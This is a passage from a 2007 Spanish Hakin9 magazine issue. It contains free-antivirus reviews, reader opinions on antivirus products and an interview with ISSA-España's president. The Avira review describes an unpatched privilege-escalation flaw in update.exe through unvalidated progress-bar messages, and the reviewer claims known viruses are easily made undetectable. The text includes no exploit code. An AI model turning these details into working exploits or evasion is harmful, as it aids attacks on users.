• Alwil Software• http://www.avast.com• [email protected]• +420 274 005 666

Lo mejorSencillez y buena tasa de detección. Ayuda en castellano.

Lo peorConsumo excesivo de recursos en las actualizaciones y buffer overflow en el motor del antivirus.

Avira AntiVir Personal Edition ClassicAvira, los compradores germanos del archiconocido CIA Commander, ofrecen la versión 7 (6.35 en reali-dad) de su antivirus gratuito.

Este producto dispone de dos tipos de instalación, una completa y otra personalizada donde permite seleccionar tres módulos:

• AntiVir Personal Edition Classic – Módulos de instalación del anti-virus,

• AntiVir Guard – Modulo de pro-tección residente,

• Shell Extension – Integración en el menú de Windows Explorer.

Una vez instalado se actualiza auto-máticamente desde Internet. Abrien-do el centro de control del antivirus observamos un sencillo interfaz de pestañas. Dirigiéndonos al menú Extras seleccionando Configuration o pulsando [F8 ] desde el Control Center del antivirus accedemos a la configuración del escáner. Mar-cando el checkbox con la etiqueta Expert mode se habilitan los niveles de prioridad del escaneo de gran utilidad si se requiere el procesador para ejecutar otras tareas simulta-neas. Marcaremos el radio button para el análisis de todos los tipos de archivos por mayor seguridad. Navegando hasta Guard dentro del árbol repetiremos la misma opera-ción para que analice todos los tipos de archivo en la protección a tiempo real. Marcando General en el árbol

ahora seleccionaremos los tipos de programas que desearemos analizar según su categoría. Si el usuario desconoce alguna de las opciones del antivirus existe una pequeña descripción de cada una en la parte inferior de la ventana que aparece tras utilizar el evento click sobre la zona de la opción desconocida. También se puede acceder a la ayu-da (en inglés) del antivirus pulsando [F1] en cualquier momento.

Volviendo a la ventana principal, marcando en la pestaña Guard po-demos comprobar si se ha accedido a algún archivo malicioso ya que es-te antivirus analiza por defecto cada archivo en el que se lee o escribe.

También dispone de un modulo capaz de reparar, modificar o desins-talar su antivirus. Esta herramienta es de gran ayuda si un atacante malintencionado vulnera el antivirus como veremos en la parte final del análisis al antivirus de Avira.

Otra de las pestañas interesan-tes es Quarentin donde podemos ver los virus enviados a la zona de cuarentena con la posibilidad de enviar archivos sospechosos a Avira para un análisis mas especializado. También permite aislar los archivos de ejecución para analizarlos con futuras actualizaciones y restaurar-los si finalmente no se consideran maliciosos o eliminarlo.

La ligereza de este antivirus es una característica a destacar ya que solo necesita un proceso en ejecución continua llamado avgnt.exe que nece-sita poco mas de 5 MB para funcionar. Si accedemos al Control Center entra en ejecución avcenter.exe que requie-re aproximadamente 8 MB.

En el análisis bajo demanda apa-rece la ventana del Luke Filewalker que desvela al usuario información ex-tra sobre el escaneo. Permite guardar un registro de análisis muy detallado en archivos de texto plano y acceder a una enciclopedia on-line de virus.

El principal problema es que a fe-cha de la realización de esta com-parativa existe una vulnerabilidad en el proceso update.exe que permite escribir valores arbitrarios en me-moria, lo que posibilita la ejecución

Page 70: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Para principiantes

70

de cualquier código con privilegios de SYSTEM. Esto se conoce como una escalada de privilegios local y es utilizada por los crackers para hacerse con el control total de un sis-tema una vez que consiguen ejecutar comandos en remoto con privilegios restringidos. La vulnerabilidad se en-cuentra en la barra de control de progreso de update.exe que permite aceptar mensajes PBM_GETRANGE y PBM_SETRANGE de usuarios in-dependientemente de sus privilegios y no verifica el parámetro IParam. Es conveniente habilitar la protección de memoria DEP de Windows y seguir una estricta política de usuarios ya que de momento el fabricante no ha corregido esta vulnerabilidad.

FICHA

• Valoración 6,25• Calidad/Precio 6,25

Contacto

• Avira• Web oficial: http://www.free-av.

com• En castellano: http://original.

avira.com• +49 754 500 400

Lo mejorMuy ligero para el sistema.

Lo peorVulnerabilidad de escalada de privi-legios local sin corregir a fecha de esta comparativa.

eTrust EZ AntivirusDe forma gratuita, tras registrarse en http://www.my-etrust.com/microsoft/ Computer Associates ofrece durante un año el antivirus con las certifica-ciones de ICSA, West Coast Labs y Virus Bulletin.

En el momento de realizar esta comparativa solo estaba disponible la versión 7.1 en castellano por lo que las pruebas se realizaron con la versión 7.2 en ingles. El proceso de instalación es trivial por su sencillez.

El acceso al Internet Security Center requiere del proceso caiss.

exe que utiliza 4,6 MB. Incluye ver-siones anteriores de EZ Armor, y EZ Antivirus y la posibilidad de instalar el resto de módulos que conforman la suite de seguridad compuesta por el antivirus versión 7.2.0.0 con licencia válida durante un año, cor-tafuegos, anti-spam y el anti-espías Pest-Patrol (estos tres últimos dis-ponibles en la web de eTrust en su versión de prueba de 30 días).

El interfaz del antivirus se carga mediante el proceso CAV.exe que requiere aproximadamente 12 MB dememoria en función de la tarea a rea-lizar. Es sencillo pero directo, cuatro botones muestran las principales tareas, escanear el PC, programar un escaneo, seleccionar archivos y carpetas a escanear o configura-ción. En las pestañas están dispues-tas otras funciones como actualizar, herramientas y la ayuda con solucio-nador de problemas y enciclopedia de virus.

En la pestaña Update encontra-mos los botones de actualizar el antivirus, programador de actualiza-ciones y configuración del proxy si no queremos conectar directamente a Internet.

Dentro de la pestaña Tools pode-mos ver los objetos aislados dentro de la zona de cuarentena, los regis-tros del escáner y de actualización completamente detallados. Si se diera el caso de una infección es re-comendable pulsar el botón System Report para crear un informe de la situación del ordenador enviándolo al soporte técnico para un análisis exhaustivo.

Este antivirus destaca por el efi-ciente uso de memoria que hace con dos motores de búsqueda simultá-neos. Con su instalación, cuatro pro-cesos se cargan en memoria:

• CAVRid.exe: 2,8 MB,• CAVTray.exe: 4 MB,• Caissdt.exe: 5,35 MB,• VetMsg.exe: 3,7 MB.

Esta certificado para funcionar con Windows Server 2003 Standard, En-terprise y Data Center Editions por lo que es una buena apuesta como

antivirus gratuito en servidores de correo. Se integra perfectamente con Microsoft Exchange y permite su actualización a través de proxy con autenticación.

Los usuarios que hayan probado el scanner online de la compañía Computer Associates deberían sa-ber que recientemente se han des-cubierto dos vulnerabilidades críti-cas en su servicio WebScan; una permite la ejecución remota de có-digo mediante la explotación de unbuffer overflow mientras que la otra es debida a que no se validan co-rrectamente ciertos parámetros lo que permite comprometer la integri-dad del control ActiveX del antivirus online. Es recomendable desinstalar todos los archivos generados por es-ta herramienta en el PC del usuario y mas tarde seguir las instrucciones de la web oficial del fabricante.

FICHA

• Valoración 7• Calidad/Precio 7

Contacto

• Computer Associates• www.ca.com/es/• 91 768 70 00

Lo mejorInterfaz sencillo e intuitivo con ma-nual disponible tras su instalación en formato chm. Uso eficiente de memoria.

Lo peorBaja tasa de detección en tiempo real. Tiempo excesivo en análisis comple-tos.

Opinión sobre antivirus gratuitosLa verdadera amenaza y la realidad sobre los antivirus

Son el Yin y el Yang de la infor-mática, los chicos malos siempre juegan con ventaja mientras que las empresas de antivirus van siguiendo las pautas que marcan los virus.

Esta carrera, liderada desde su comienzo por los creadores de

Page 71: Revista Hakin9 n23 04-2007 ES

Antivirus Gratuitos

www.hakin9.org 71

virus, es una continua persecución en la que por lo general, aparece un virus innovador, se detecta y sus programadores lo consiguen hacer indetectable de nuevo. Realmente es sencillo manipular un virus co-nocido y hacerlo indetectable a cual-quiera de estos antivirus analizan-do su firma o mediante métodos de ofuscación por lo que tener un PC con antivirus no implica que no pueda contener ningún tipo de vi-rus.

El suculento mercado de los antivirus no es tal como se intenta vender. Incluso un antivirus desac-tualizado podría facilitar a un ata-cante malintencionado la manera de vulnerar un sistema tomando el con-trol completo de este. Los antivirus comerciales, en su gran mayoría, tampoco ofrecen grandes ventajas a parte de una buena atención al cliente. Las últimas versiones de los más aclamados como son Kas-persky y Nod-32, recientemente eran pasto de los hackers quienes explotando desbordamientos o rea-lizando escaladas de privilegios en estos programas eran capaces de hacerse con el control de los orde-nadores en los cuales estaban ins-talados.

Cualquier archivo es susceptible de ser malicioso, por ello, aconsejo el servicio de análisis de ficheros de Virustotal que ofrece de forma gratuita Hispasec Sistemas en la web http://www.virustotal.com don-de se analizará cualquier archivo con multitud de motores antivirus. También existen herramientas si-milares para análisis con múltiples antivirus como KIMS 1.2, desarro-llado por Thor, cuya última versión pública puede descargarse de http://remotecontrolstudio.net. La ventaja de este programa es que siguien-

do algunos pasos descritos en el manual, se puede integrar prácti-camente cualquier herramienta de detección.

Una recomendación para mejorar el rendimiento de los antivirus muy a tener en cuenta por los usuarios domésticos que utilizan usualmente los P2P es mantener lo que se llama higiene de disco. Básicamente esto se reduce a defragmentar y buscar clusters defectuosos habitualmente. De otra forma, se puede pasar un tiempo excesivo (de varias horas con el tamaño de los discos duros actuales) realizando un escaneo en busca de archivos potencialmente peligrosos.

Volviendo a la comparativa, una alternativa muy provechosa es Cla-mWin ya que podemos instalarlo comodamente en un pendrive y ana-lizar cuantos PCs necesitemos sin perder tiempo en instalarlo en cada uno de ellos pero no detecta archi-vos maliciosos con compresión 7z.

Destacamos el motor el potente motor del antivirus BitDefender que unido a un buen ratio de detección hacen de esta herramienta gratuita una de las mas interesantes actual-mente. Es una verdadera pena que no disponga de protección en tiempo real ni análisis del correo electrónico pero si están disponibles en su ver-sión de pago.

La solución gratuita de Alwil Software también ha dado excelen-tes resultado en comparación con el resto ya que ha sido capaz de hallar algunos troyanos modificados para hacerlos indetectables. Hará las de-licias de los lectores que dan mucha importancia a la estética con sus numerosos skins en la web detallada en su análisis. También dispone de protecciones para mensajería ins-tantánea y P2P.

Recordad que un antivirus no sirve prácticamente para nada en un sistema mal configurado por lo que en próximas entregas de esta revista os enseñaremos a defender Windo-ws con una configuración avanzada consiguiendo un grado de seguridad muy alto.

Lo mejor: Estos productos son una alternativa económica a algu-nos antivirus mas caros y no por ello mucho mejores. Son bastante rápidos en detectar las amenazas mas habituales como pueden ser troyanos conocidos, virus que explo-tan vulnerabilidades en los sistemas operativos parcheadas hace tiempo, etc. Si en algún momento vuestros PCs funcionan mas lentos de lo ha-bitual, realizan operaciones extrañas cuando no se trabaja con ellos, no permiten abrir o cerrar algunos do-cumentos la instalación y el análisis con uno de estos productos es vital para determinar si la causa posible de ese comportamiento es debida a un virus. BitDefender y avast! des-tacan por el servicio de protección de integridad de archivos de que disponen.

Lo peor: No os dejéis engañar por la falsa sensación de seguridad que intentan vender algunas compa-ñías de antivirus. Cuando un fabri-cante dice que su producto detecta el 100% de los virus se refiere a los virus conocidos y de ciertas bases de datos en las que por supuesto, no están incluidos los virus recién crea-dos. En la tabla de características podéis ver que los antivirus analiza-dos configurados en grado máximo de protección no han conseguido detectar mi rootkit KAOS, diversas shells inversas o el Kernel Keylogger. Ningún producto es capaz de detec-tar todos los virus existentes por lo que un antivirus es una medida de seguridad muy relativa. Además es posible que instalando versiones an-tiguas de estos productos vuestros PCs sean atacados explotando las vulnerabilidades descritas en los aná-lisis individuales de cada antivirus como por ejemplo Avira AntiVir para el que no es muy complicado realizar el exploit. l

Sobre el Autor...ANELKAOS estudia Ingeniería Industrial en España, lleva 13 años coleccionando virus siendo creador de un buen número de ellos y métodos de intrusión que no son públicos. Es un apasionado de los rootkits y la inseguridad informática. Colabora prin-cipalmente en elhacker.net y en el live CD Wifislax. Se puede contactar con él a través de http://foro.elhacker.net.

Page 72: Revista Hakin9 n23 04-2007 ES

72 www.hakin9.org

Test de consumidores

73

Antivirus

www.hakin9.org

Test de consumidores – Los programas Antivirus

DPI – Diseño de Programación e Integración. Desarrollamos software personalizado de gestión de oficinas, diseñamos páginas web optimizadas para buscadores y realizamos consultorías de software y hardware con solu-ciones de ahorro de costes mediante software libre. Usamos las ventajas de las nuevas tecnologías en benefi-cio de los negocios, aumentando la productividad de su empresa gracias a la informática.

¿El nombre del Antivirus y la empresa productora?Linux: Cortamos el problema de raíz y no usamos Win-dows, que es la fuente del 99,999 de los virus. Además trabajamos con usuarios sin privilegios sobre la máquina y otras medidas básicas del sentido común que dificultan la propagación y la permanencia aun en el caso de pro-ducirse un problema de estos.

Antivir XP: Si tenemos que hacer pruebas con Win-dows usamos Antivir XP de Avira.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?Linux: 0 €, si. Es adecuado.Antivir XP: 0 €, funciona bien. Últimamente abre un popup al día, lo que es muy molesto.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?Linux: Si, no hemos tenido ningún problema.Antivir XP: Freeware, serio. Últimamente no tan serio con el detalle este del popup. Si tuviera que buscar otra vez quizás no lo elegiría.

¿El producto ha cumplido con sus expectativas?

Linux: Si.Antivir XP: Si, hasta estas ultimas actualizaciones donde ha aparecido publicidad molesta.

¿Cuáles son los puntos más fuertes del Antivirus?Linux: Al no tener, el ordenador nos va mas deprisa, y es una tarea menos en memoria haciendo cosas descontroladas.Antivir XP: Como el antivirus es ligero y molesta poco, haciendo su trabajo en silencio.

¿Y los débiles? ¿Hay algo que se debería cambiar o mejorar?Linux: No se puede mejorar.Antivir XP: Quitaría ese popup de publicidad. Que se pudiera desactivar mas características que realmente no necesitamos siempre en todos los equipos.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?Linux: Si, pero solo a empresas que además cuenten con personal técnico. No usar el antivirus puede mandar el mensaje equivocado de que no hay que hacer nada, y podría ser catastrófico usado junto con Windows y usu-arios no conscientes.

Antivir XP: No, debido a los cambios a peor men-cionados. Como empresa no estoy tan seguro, pues algunos de nosotros todavía lo preferimos a todos los demás. Especialmente al Norton, pues hemos visto máquinas destrozadas por virus y troyanos con el Norton impotente o indiferente. No es el único que hace que el ordenador vaya mas lento, mete proble-mas de compatibilidad pero no consigue su objetivo de proteger a los equipos.

Franciso José Gomez Rodríguez – Estudiante de Ingeniería Técnica en Informática de Gestión. Universidad Politécnica de Madrid Becario en Telefónica I+D . División de Arquitectura de Seguridad.

¿El nombre del Antivirus y la empresa productora?AVG Free Edition – GRISOFT.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?Gratuito – Esta completamente adecuado a los servicios por supuesto.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?Lo elegí por su trayectoria y por ser gratuito, considero que es suficientemente potente como para pretegerme y lo ha demostrado con el tiempo, apareciendo en los rac-kings por encima de otros programas de pago.

Page 73: Revista Hakin9 n23 04-2007 ES

72 www.hakin9.org

Test de consumidores

73

Antivirus

www.hakin9.org

¿El producto ha cumplido con sus expectativas?Por supuesto ha estado siempre a la altura. Conside-ro que es siempre ha respondido a mis necesidades y nunca ha dejado mi ordenador saturado. Escanea el correo entrante de forma rápida y eficaz.

¿Cuáles son los puntos más fuertes del Antivirus?Es muy ligero en cuanto a consumo de recursos del siste-ma. Se actualiza todos los días. Los escaneos no son especialmente pesados. Escanea los archivos en tiempo real y en memoria casi ni se nota.

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?Creo que debería mejor en el aspecto de interfaz, esta

un poco anticuado y eso a la gente no le gusta, a mi per-sonalmente tampoco me molesta en exceso. A veces las actualizaciones fallan.

Levanta demasiados procesos para el control del sistema. No se si la fiabilidad es total con un numero de procesos elevado.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?Lo recomiendo a cualquier persona que quiera un anti-virus que no sea pesado para el sistema y que además sea capaz de protegerle con ciertas garantías. No olvide-mos que paquetes completos de seguridad como el de Zone Alarm tienen grandes errores y son de pago. Se lo recomiendo a gente exigente que además sepa valorar el software libre.

Diego Rivero – Trabaja como administrador de sistemas y redes. Actualmente estudia Ingeniería Técnica, Informática de Sistemas.

¿El nombre del Antivirus y la empresa productora?En primer lugar tengo que decir que utilizo los dos sistemas operativos como suele ser habitual, el consa-bido sistema del señor Puertas (Gates) por las circun-stancias y Linux por devoción. En la actualidad y para mis PC de casa utilizo utilizo AVAST 4.7 en Güindo$ de la empresa Alwil software y para Linux en la actuali-dad no tengo aunque utilicé en su tiempo Panda para Linux.

En mi trabajo la empresa utiliza McAfee VirusScan Enterprise en su versión 8.0i, ya que evidentemente tra-baja con el omnipresente Window$.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?En mi caso, en mis pc de casa que utilizo Avast, si que es adecuado ya que utilizo la versión Home que es gra-tuita en esta empresa. Me explico, para mis ordenado-res de casa y teniendo en cuenta el nivel de seguridad que necesito pienso que si es el más adecuado. Ofrece el escaneo en segundo plano, correo, etc., un buen nivel de Heurística y actualizaciones periódicas.

En el caso de mi vida laboral con el McAfee todo va muy bien, tienes un antivirus y casi ni te enteras de que lo tienes. Su precio es 38$.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?Después de probar y analizar unos cuantos programas antivirus, al final suele ocurrir como en todos o casi todos los productos y no me refiero a únicamente a la informáti-ca ni al software, o sea que ni lo más caro es lo mejor y no más barato es lo peor.

En mi caso particular me decidí por Avast por que era como se suele decir las tres b, bueno bonito y barato, ofreciendo un buen compromiso entre unos parámetros

que considero esenciales, que son la seguridad, la efi-ciencia y la velocidad de proceso.

En mi modesta opinión creo que sí que la elección fue buena ya que como he dicho antes detecta de manera aceptable todo tipo de virus y otro software malintencio-nado. En definitiva me parece un buen antivirus.

Respecto del antivirus que utiliza mi empresa el Mc-Afee de momento está dando unos resultados muy bue-nos aunque en mi opinión su motor ralentiza el ordena-dor un poco, sobre todo si la máquina en la que se halla no es muy potente, mi primer ordenador se quedaba col-gado cuando lo instalé, pero eso fue hace tiempo y era la versión para ordenador personal.

¿El producto ha cumplido con sus expectativas?Cuando lo instalé pensé que se trataba de uno más de los antivirus gratuitos que existen en el mercado, pero poco después me di cuenta de que era tan eficiente como el que más. No es que yo sea muy exigente pero me gusta saber que estoy protegido como cualquier hijo de vecino y respecto a los virus informáticos dicen que hay que ser un poco paranoico pues bueno, el antivirus cumple al cien por cien con mis expectativas ya que ni tengo los datos que tiene la NASA y los que me interesan procuro hacer copias de seguridad, así que pienso que me da la protec-ción que necesito.

Respecto del que utiliza mi empresa supongo que también cumple las expectativas ya que lo siguen utili-zando desde hace tiempo y no hemos tenido problemas de seguridad importantes, al menos que se sepa.

¿Cuáles son los puntos más fuertes del Antivirus?Como ya he dicho antes tiene muchas cosas a su favor, como pueden ser una buena velocidad de ejecución, pro-tección en segundo plano, escaneo sobre la marcha de

Page 74: Revista Hakin9 n23 04-2007 ES

74 www.hakin9.org

Test de consumidores

páginas web, protección residente y una interfaz simple, en la que no caben complicaciones.

Creo que la velocidad de ejecución, las bibliotecas de virus que se actualizan muy periódicamente y el hecho de que no ralentiza el ordenador cuando se halla trabajando en modo residente son las mejores cualidades de este programa.

McAfee es una de las empresas punteras en el mundo de los antivirus así que ¿Qué se puede decir de uno de los líderes?, pienso que lo mejor que se puede decir es que pasa desapercibido que no es poco y sólo te das cuenta cuando lo necesitas.

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?Por supuesto que todo es susceptible de ser mejorado y en el caso de los antivirus siempre, pero como es natural lo que el consumidor final necesita es un buen compromiso entre la versatilidad, la seguridad y la fluidez. En el caso de Avast, pienso que su punto débil es el hecho de informes instantáne-os cuando hacemos un escaner de un archivo en particular mediante el botón derecho del ratón, cosa que no es del todo

mala si pensamos que cuando hay un virus si que nos salta la alarma, además muy sonora y avisándote de viva voz en español. Por otra parte también sería bueno que se mejorase la interfaz de usuario, la considero demasiado simple y espar-tana, aunque tiene lo necesario, debería ofrecer más opcio-nes y siendo un poco más vistosa ganaría mucho.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?Por supuesto y de hecho lo hago a diario en mi trabajo, a los compañeros que me preguntan por un buen progra-ma antivirus, pero claro para uso personal, en los orde-nadores de casa, ya que para el uso en una empresa yo emplearía una suite de protección que englobase otros múltiples parámetros y dando por supuesto que se reali-zan copias de seguridad de los datos que sean suscepti-bles de ser protegidos especialmente además de mante-nerlos en lugares a los que el acceso sea lo más restrin-gido posible y con una política de contraseñas adecuada. Todo depende de lo paranoico que sea uno respecto de la seguridad y los datos que tengamos almacenados.

¿El nombre del Antivirus y la empresa productora?Sin duda alguna, Kaspersky Anti-Virus, de la empresa Kaspersky Lab.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?Precio oficial de la versión Kaspersky Anti-Virus 6.0 Profes-sional: 40€, me parece perfectamente adecuado a las carac-terísticas y servicios que nos ofrece el Anti-Virus, lo que se traduce en una más que aceptable relación calidad-precio.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?Creo que la mayor difusión y publicidad de los AV es por el método de boca en boca, especialmente en foros. Después de leer comparativas y opiniones sobre diferentes antivirus decidí probar este producto. Pese a que se le tachaba de un alto consumo de recursos, las opiniones sobre su calidad y eficacia me hicieron decidirme por probarlo.

¿El producto ha cumplido con sus expectativas?Todo se resume en que a día de hoy, desde que lo probé nunca he tenido la menor intención de usar ningún otro software AV en mi ordenador personal, pese a que si haya hecho pruebas con otros con el único fin de valorarlos.

¿Cuáles son los puntos más fuertes del Antivirus?En mi opinión el gran punto fuerte de Kaspersky reside en sus monitorizaciones en tiempo real, tanto sobre el proto-colo HTTP en tráfico de Internet, el control sobre el sistema

de archivos y la monitorización de los procesos en memo-ria. No me podría olvidar de la facilidad, calidad y rapidez de las actualizaciones de las bases de virus. La tasa de falsos positivos es extraordinariamente baja, sin aumen-tar con ello la tasa de falsos negativos.

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?Creo que las mayores críticas de Kaspersky es por el alto comsumo de recursos, pero yo creo que la relación consu-mo-eficacia es mucho más que proporcional, y el consumo de recursos prácticamente es impercidible por un usuario con un PC de calidad media. Si quizás pueda notarse en ordenadores un poco antiguos, pero lo que si está claro que para la eficiencia en la monitorizacion a tiempo real y éxito en las detecciones un pequeño precio hay que pagar.

Por mi parte mejoraría el método de gestión de la exc-lusión de archivos/carpetas para el análisis y por supuesto la que parece ser la espina clavada: el estar por detrás de NOD32 en el gran trabajo que han realizado sobre la heu-rística. Otra de las cosas a mejorar creo que sería la protec-ción activa sobre las modificaciones no autorizadas en el registro del sistema y algo que creo a día de hoy es la pesa-dilla de todos los anti-virus, que no es otra que la detección de archivos maliciosos cuando estos están encriptados.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?Creo que este producto es recomendado para todos los usu-arios de un ordenador personal, exceptuando aquellos que posean una máquina de muy bajas prestaciones, a los que recomendaría NOD32 por el menor consumo de recursos.

José Carlos de Arriba Rodríguez, estudiante de 4º año de Ingeniería Informática. Contacto: [email protected].

Page 75: Revista Hakin9 n23 04-2007 ES

I-SECInformation Security Inc.Somos una Empresa dedicada y comprometi-da íntegramente con la Seguridad de la Infor-mación. Nuestros Servicios se adaptan a laestructura de su empresa, recomendándole qué es lo mejor para su crecimiento.Contacto: www.i-sec.org

Ártica Soluciones TecnológicasÁrtica es una empresa de consultoría de capi-tal nacional formada por profesionales con ex-periencia en el mundo de las Tecnologías de In-formación. Nuestro ámbito de actuación está centrado en diversos sectores: industria, banca, proveedores de Internet, y telecomunicaciones.Contacto: http://www.artica.es

FlagsolutionsFLAG solutions es una consultoría tecnológi-ca que se apoya en 4 pilares básicos:la se-guridad informática, la ingeniería de siste-mas, el diseño corporativo y la formación es-pecializada para empresas. Proporcionamos soluciones rentables tanto para la pequeña como para la grande empresa.Contacto: www.flagsolutions.net

Ecija ConsultingSomos una consultora IT líder en asesoramien-to integral de empresas. Nuestro equipo forma-do por abogados, consultores y técnicos, nos ha permitido especializarnos en el campo de la seguridad informática, aportando a nuestras so-luciones el valor añadido del conocimiento de la materia desde el punto de vista jurídico.Contacto: www.ecija.com, [email protected]

SUSCRIPCIÓN PROMás información: [email protected] ; tel.: 00 48 22 887-13-45

Seguridad0Seguridad0 es una empresa española dedi-cada a la distribución de productos de se-guridad informática y la formación. Más infor-mación en su web corporativa: www.seguri-dad0.es. Cuentan con una web dedicada a ladivulgación de noticias de seguridad infor-mática: www.seguridad0.com

Kinetic SolutionsEmpresa especializada en implantación de solu-ciones de seguridad informática con valor agre-gado, brindamos servicios profesionales de pro-tección y detección a intrusiones informáticas. Somos especialistas en diferentes materias deseguridad de la información para atender a nues-tros clientes de organizaciones privadas y gu-bernamentales en España y Sudamérica.Contacto: [email protected]

Hay algo que me llama la atención, y es que parece que en cuanto a la elección y cantidad de uso de los distin-tos antivirus se pueden apreciar claramente dos sectore: mientras que en usuarios de nivel medio-bajo la antigüe-dad y nombre de productos como McAfee, Panda o Norton les da una clara ventaja, los usuarios de nivel medio-alto se decantan claramente por NOD32 o el propio Kasper-sky. Creo que poco a poco tanto NOD32 como Kaspersky irán ganando cuota de mercado en el primer sector.

TECNOZERO es una empresa madrileña dedica-da a prestación de servicios informáticos y también a la implantación y desarollo ode nuevas tecnolo-gías para las pymes. Ofrece servicios de asesora-miento, mantenimiento informático, hosting, diseño Web, equipamiento y seguridad informática.

¿El nombre del Antivirus y la empresa productora?Depende de si es servidor o estación de trabajo, y en el caso de tratarse de un servidor depende de su función en la red. Por destacar uno Panda Web Admin Antivirus de la compañía Panda Software.

¿El precio y si está adecuado a los servicios ofrecidos por el producto?Entorno a los 240 € por actualizaciones durante 2 años. Sí considero que es un importe razonable.

¿Cuál fue el motivo de elegir esta marca y si cree Usted que su elección ha sido buena?Administración web, buen soporte técnico y precio.

¿El producto ha cumplido con sus expectativas?En mi opinión hay poca diferencia entre las compañías antivi-rus, puesto que los servicios que ofrecen son casi idénticos. Creo que la elección entre una y otra compañía se basan exc-lusivamente en las experiencias que se han tenido con las versiones anteriores. El producto responde como es de espe-rar, por lo que si lo considero como una buena elección.

¿Cuáles son los puntos más fuertes del Antivirus?Administración desatendida, vía web y centralizada.

¿Y los débiles?¿Hay algo que se debería cambiar o mejorar?El ralentizamiento general del sistema, tras implantar un antivirus. No cre que sea específico de este producto en concreto, sino común a este tipo de software. Además de esto está el hecho de que cada año aproximadamente hay que cambiar el producto por uno nuevo, que en esen-cia es exactamente igual pero con un más bonito.

¿Recomendaría este producto a otras personas? ¿A quién especialmente?Si. Administradores de pequeñas redes que deseen centra-lizar su solución antivirus de manera simple y económica. l

Page 76: Revista Hakin9 n23 04-2007 ES

www.hakin9.org76

Entrevista

hakin9: ¿Cómo conoció ISSA? ¿Cuál fue su primer contacto con esta organización? ¿Qué es lo que más le ha atraído a ISSA?

Fernando Bahamonde: A principios del 2002 un colega de los EE.UU me comentó al-go acerca de la asociación pero, por desgracia, mi tiempo disponible en esos momentos como siempre en este mundo, era escaso y muy limita-do. Sin embargo, a finales del mismo año retomé el tema y me encontré que en aquel momento no existía ninguna asociación que abarcase a los profesionales del campo de la seguridad en las tecnologías de información en España, y ver que no estaba formalizado ningún capítulo de dicha asociación en España, me puse en contacto con ellos para ver si cabía la posibilidad de crear un capítulo nacional que aglutinase a todas las per-sonas del sector y pudiesen tener un foro común, en aquel momento éramos tres personas diferen-tes las que estábamos interesados en la creación del capítulo en España, así que nos pusieron en contacto y juntando a algunos amigos y conoci-dos llevamos adelante la creación del capítulo Español, fundando la Asociación Española para la Seguridad en los Sistemas de Información, pa-ra posteriormente ser reconocidos como capítulo Español de ISSA Internacional.

En mi opinión el principal atractivo de ISSA-España es que se trata de una asociación in-dependiente, en la que tienen cabida todos los profesionales y personas involucradas dentro del área de la seguridad, desde Chief Security Officers de empresas a estudiosos del campo de la seguridad, teniendo además la gran ven-taja de que entre los socios actuales existe una gran representación de todos los campos que abarca este mundo, desde personas especia-lizadas en criptografía a personas dedicadas a la seguridad casi física. Lo cual supone un gran atractivo de cara al enriquecimiento co-mún, ya que no solo nos centramos en un área específica, sino que concebimos la seguridad como un entorno global que afecta a todas las áreas de negocio y de los procesos.

Como ejemplo yo siempre pongo el mismo ¿De qué vale un firewall si alguien puede entrar en el CPD y llevarse una copia de seguridad?, por ello es evidente que una composición mul-tidisciplinar en una asociación como la nuestra es algo fundamental.

h9: ¿Podría decirnos algo sobre ISSA-Es-paña? ¿Qué tipo de organización es? ¿A qué se dedica principalmente ? ¿Qué tipo de even-tos organiza?

Entrevistamos a Fernando Bahamonde, Presidente de ISSA-España

Hablamos con Fernando Bahamonde, Presidente de ISSA-España, que nos presenta el ámbito de actuación de esta organización internacional, nos cuenta sobre hacking y ajedrez, sobre el mito de ser hacker que no pierde su actualidad y muchas cosas más...

Fernando Bahamonde

Page 77: Revista Hakin9 n23 04-2007 ES

Entrevista a Fernando Bahamonde

www.hakin9.org 77

F.B.: ISSA-España podría englobarse en dos puntos, por una parte es una asociación sin animo de lucro y por otra es una asociación que aglutina a los profesionales del sector, por ello estamos ante dos planteamientos similares pero no excluyentes uno de otro. En cuanto al funcionamiento interno, somos una organización con una estructura básicamente plana, donde existe (a mi apreciación, quizás pueda ser mejorable) una excelente interacción entre asociados y la junta directiva.

El ámbito de actuación de ISSA-España, al igual que su orientación, puede enclavarse en dos ejes principa-les, por una parte nos encontraríamos con la concien-ciación y estudio de diferentes ámbitos y escenarios de la seguridad. Y por otra, la formación continua y net-working de nuestros asociados, ya que por el momento contamos con medios de comunicación bastante fluidos entre ellos, pero estamos desarrollando nuevas vías y métodos de intercorrelación entre los asociados, para que exista un mayor eje de debate y comunicación entre ellos y sus áreas de interés.

Nuestra asociación no esta formalmente relacionada con una certificación profesional como otras asociacio-nes similares, aunque en nuestras acciones se encuen-tra la certificación dentro de estas, dado que la actual tendencia de mercado es la solicitud de ellas para los distintos puestos dentro de las áreas de seguridad y en los distintos proyectos que aparecen en el mercado.

Nuestra política de eventos se ha modificado un poco con respecto a años anteriores, pero nos centramos en distintas áreas. Las cuales podríamos englobar en tres tipos distintos:

Eventos de difusión, como los organizados dentro del DISI (Día Internacional de la Seguridad de Información) o en INFOSECURITY, eventos de claro contenido de difusión y concienciación dentro de distintas áreas, enfo-cados a todas las áreas y sectores, con un especial foco

en los responsables de seguridad de organizaciones y empresas.

Eventos de formación propios. En esta área comenzamos en este año y prevemos presentar en breve un calendario de eventos de formación esponsorizados por ISSA-España orientados a sus miembros y con acceso a terceros.

Eventos de formación de terceros. Eventos de forma-ción facilitados por terceras empresas en los cuales los miembros de ISSA-España tienen interesantes ventajas.

h9: ¿En el mundo de la Seguridad Informática hay mucha demanda de eventos de este tipo? Principal-mente,¿quién participa en ellos?

